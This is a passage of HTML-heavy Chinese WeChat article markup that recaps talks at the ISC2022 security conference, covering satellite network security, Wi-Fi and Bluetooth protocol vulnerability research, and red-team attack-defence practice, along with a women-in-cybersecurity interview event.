51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">议题以卫星网络安全的发展和演变为中心，涉及卫星网络的基础知识及安全风险点，让大家对卫星网络安全有更为深刻的了解和认知。</span><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section><section style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">接下来是固源科技首席研究员李立东带来演讲议题《短距通信协议漏洞挖掘之路》。</span></section><section style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><img class="rich_pages wxw-img" data-backh="338" data-backw="578" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/0HUPFawNZ7yVRqsCTIxcf9YialkFNXXMBYAMZicYTfbEiaxNCCyff3Xbj4WIb131q1dGmH8lOsp1wCcOOe1uUNpXg/640?wx_fmt=png" data-cropx1="8.282208588957054" data-cropx2="965.7055214723927" data-cropy1="33.1465784752982" data-cropy2="591.6664257840729" data-ratio="0.5841170323928945" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 677px;visibility: visible !important;" data-type="jpeg" data-w="957" src="https://wechat2rss.xlab.app/img-proxy/?k=044e454d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclnt7qibzK8tCJ0yNcjmf1uuLP782BJNsqwHfugZ4Eib6woTV1wIamTvsVWQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></span></section><section style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">议题从应用非常广泛普及的WIFI以及蓝牙协议剖析如何发现短距离网络通信协议的安全漏洞，并为大家分享了不同行业所搭载的通信协议漏洞案例。</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section><section style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">之后由四叶草攻防专家郑洋带来演讲议题《红队视角下的安全建设盲点》。</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"></span></section><section style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><img class="rich_pages wxw-img" data-backh="361" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="338" data-ratio="0.625" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;float: none;display: inline;width: 677px;visibility: visible !important;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e9ca7d5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7yEIsxjMibMxoPl5BxmCjLYBLicEwYNk3NIwmk6LJm4BFQ8JXTs5r6hLNiaIx7Rh1SibNJuHhSfgN38ng%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></span></section><p style="margin: 16px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">议题从红队视角通过实战案例分析在红蓝攻防对抗中攻击方常见的切入点，以及在防守方部署大量安全设备和进行安全建设后的攻击策略，一个个精彩的实战案例分析令大家意犹未尽。</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);text-align: left;font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"></span></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section><section style="margin: 8px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;">最后是360安全分析高级专家郭玉晖带来演讲议题《「那些年我们一起抢夺的权限」攻防视角下红蓝交织的技术演进》。</span></section><section style="margin: 8px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;clear: both;min-height: 1em;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><img class="rich_pages wxw-img" data-backh="337" data-backw="578" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/0HUPFawNZ7yVRqsCTIxcf9YialkFNXXMBeesp0pPGXImjhdJPsY5RdOtTz4F1mHia7HFTfFxub1kYX924gsJJzVw/640?wx_fmt=png" data-cropx1="30.197368421052634" data-cropx2="1056.907894736842" data-cropy1="37.34730538922157" data-cropy2="636.682634730539" data-ratio="0.5828460038986355" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 677px;visibility: visible !important;" data-type="jpeg" data-w="1026" src="https://wechat2rss.xlab.app/img-proxy/?k=aec88427&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclntKGWVG5bGtFmREk7dyueoSZ80m2qdupc7ZU5BM0hDia1ZUCadPkTYH1w%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></span></section><p style="margin: 8px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);line-height: 2em;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(51, 51, 51);font-size: 16px;">近年攻防演习进行得如火如荼，网络空间中的对抗愈演愈烈。议题展示了那些年大家一起抢夺过的权限，从防御体系和攻击手段两端的变化给大家带来了许多深度的思考。</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(178, 178, 178);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"></span></p></section></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;caret-color: rgb(34, 34, 34);text-align: center;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;flex-direction: column;justify-content: center;align-items: center;visibility: visible;"><section data-original-title="" title="" data-num="2" hm_fix="291:313" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 192, 0);font-size: 60px;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">3</strong></section><section data-width="15%" style="margin: -35px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 101.547px;height: 1px;background-color: rgb(255, 192, 0);overflow: hidden;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section><section style="margin: 0px;padding: 8px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;caret-color: rgb(34, 34, 34);text-align: center;letter-spacing: 1.5px;transform: rotate(0deg);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(98, 93, 86);font-family: mp-quote, -apple-system-font, system-ui, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;background-color: rgb(255, 250, 246);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> 特色活动 强势来袭</strong></span></span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;"><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px 0px -1.5em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;border-radius: 100%;background-color: rgb(255, 216, 0);width: 3em;height: 3em;white-space: nowrap;text-overflow: ellipsis;line-height: 3em;text-align: center;color: rgb(255, 255, 255);"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;">@<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section></section><section style="margin: 0px 0px 0px 2em;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border-radius: 15px;width: 609.297px;display: block;background-color: rgb(255, 216, 0);"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px 0px 0px 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(255, 255, 255);"><section style="margin: 0px 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;white-space: normal;">值得关注的是，除了精彩的议题演讲之外，“白帽夜谈”特色访谈活动在本届ISC2022互联网安全大会迎来了首秀，本期以话题访谈的形式，邀请数位网安界知名女性代表，就数字时代女性的职业发展、生活方式和普遍面临的困惑展开深入探讨，揭秘乘风破浪、所向披靡的网安小姐姐们背后的故事～</section></section></section></section><section style="margin: 24px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><br/></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px -30px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;isolation: isolate;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 